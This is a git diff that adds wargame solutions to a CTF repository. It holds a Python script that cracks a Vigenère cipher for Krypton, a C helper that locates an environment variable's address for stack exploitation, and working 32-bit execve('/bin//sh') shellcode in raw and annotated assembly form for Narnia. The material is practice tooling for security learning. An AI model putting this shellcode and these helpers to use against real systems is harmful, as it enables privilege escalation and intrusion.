diff --git a/CTFs/WARGAMES/krypton/vige.py b/CTFs/WARGAMES/krypton/vige.py new file mode 100644 index 0000000..8df8dd4 --- /dev/null +++ b/CTFs/WARGAMES/krypton/vige.py @@ -0,0 +1,39 @@ +import sys +from pygenere import Vigenere, VigCrack + + +def get_key(msg): + # Vigenere Cypher + key = VigCrack(msg).crack_codeword() + dec_msg = VigCrack(msg).crack_message() + dec_msg = dec_msg.replace(" ", "") + return key, dec_msg + + +def solve(msg, key): + dec_msg = Vigenere(msg).decipher(key) + dec_msg = dec_msg.replace(" ", "") + return dec_msg + + + +if __name__ == '__main__': + + # getting the key + with open('cipher', 'r') as f: + msg = f.readlines() + msg_in = msg[0].strip() + key, answer = get_key(msg_in) + print 'Message: ' + msg_in + print + print 'Answer: ' + answer + print '(key: ' + key + ')' + + + # deciphering + key = 'FREKEY' + with open('pass', 'r') as f: + msg = f.readlines() + answer = solve(msg[0].strip(), key) + print + print "The answer is: " + answer diff --git a/CTFs/WARGAMES/narnia/getshadd.c b/CTFs/WARGAMES/narnia/getshadd.c new file mode 100644 index 0000000..5fa88d4 --- /dev/null +++ b/CTFs/WARGAMES/narnia/getshadd.c @@ -0,0 +1,12 @@ +// usage: ./getshadd ENVVAR BINARY +#include +#include +#include + +int main(int argc,char *argv[]){ + char *ptr; + ptr=getenv(argv[1]); + ptr+=(strlen(argv[0])-strlen(argv[2]))*2; + printf("%s will be at %p\n",argv[1],ptr); + return 0; +} diff --git a/CTFs/WARGAMES/narnia/shellspawn b/CTFs/WARGAMES/narnia/shellspawn new file mode 100644 index 0000000..5823f90 --- /dev/null +++ b/CTFs/WARGAMES/narnia/shellspawn @@ -0,0 +1 @@ +1ÀPh//shh/bin‰ãP‰âP‰á° Í€ \ No newline at end of file diff --git a/CTFs/WARGAMES/narnia/shellspawn.asm b/CTFs/WARGAMES/narnia/shellspawn.asm new file mode 100644 index 0000000..cd285ad --- /dev/null +++ b/CTFs/WARGAMES/narnia/shellspawn.asm @@ -0,0 +1,14 @@ +BITS 32 + +xor eax, eax ; zero eax +push eax ; null terminate the string +push 0x68732f2f ; push //sh (// is same as / for our purpose) +push 0x6e69622f ; push /bin +mov ebx, esp ; pass first argument using ebx +push eax ; third argument is empty +mov edx, esp +push eax ; second argument is empty +mov ecx, esp +mov al, 11 ; execve is system call #11 +int 0x80 ; issue an interrupt +